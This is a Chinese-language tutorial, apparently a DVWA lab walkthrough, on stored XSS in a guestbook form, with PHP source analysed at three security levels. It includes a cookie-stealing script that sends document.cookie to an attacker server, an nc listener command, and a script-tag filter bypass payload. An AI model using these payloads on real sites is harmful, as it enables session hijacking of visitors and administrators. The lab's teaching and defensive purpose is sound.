存储型XSS漏洞

存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。

简介

存储型xss和反射型xss利用起来并没有太大什么区别,不过存储型xss是一次注入,所有访问者包括管理员都会中招。这种情况常发生在网站的留言板页面上,以下给出一个例子。

image

漏洞利用

这是一个留言板块,输入姓名和信息即可
image

如果我们输入的是恶意的JavaScript代码,那又会如何?

1
<script>alert('hello,XSS')</script>

image
image
输入的js代码执行了,并且将js代码写进数据库或文件中,每次访问或刷新页面时,都会执行
我们可以在页面的源代码中看到,它已经把输入的信息当脚本执行了
image
image

我们可以利用这个漏洞盗取访问该页面的任何人的cookie,甚至是管理员的
将恶意的JavaScript代码写在本地服务器(攻击者的服务器)保存为get_cookies.js

1
2
var img = Image();
img.src = "http://10.0.2.15:4445/cookies.php?cookie="+document.cookie;

image

开启apache服务,在本地监听4445端口

1
2
service apache2 start   # 开启apache服务
nc -vlp 4445 # 监听4445端口

将代码注入目标服务器中,有时候输入会有长度限制,可以手动更改它的js代码
image

获取cookie
image

源码分析

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if(isset($_POST['btnSign']))
{

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);

// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);

// Sanitize name input
$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>
  • trim移除字符串两侧的字符,默认为空字符
  • stripslashes该函数可用于清理从数据库中或者从 HTML 表单中取回的数据,去除反斜杠;
  • mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

这几个函数并没有对xss攻击做有效的防护,所以基本不用绕过

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(isset($_POST['btnSign']))
{

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);

// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>
  • addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
  • strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
  • htmlspecialchars 函数把预定义的字符转换为 HTML 实体。
  • str_replace() 字符串替换

message变量值经过多个函数进行数据清洗,比较难绕过,但是name变量值只经过str_replace和mysql_real_escape_string两个函数的过滤
mysql_real_escape_string并没有什么作用,看str_replace函数即可,它将script标签替换成空字符,这其实很容易绕过

1
<scr<script>ipt>alert('hello,xss')</script>

image
image

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if(isset($_POST['btnSign']))
{

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);

// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

// Sanitize name input
$name = stripslashes($name);
$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

messages和name变量都做了完善的过滤,目前并没有发现可绕过的方法

注入的标签都会转成实体字符
image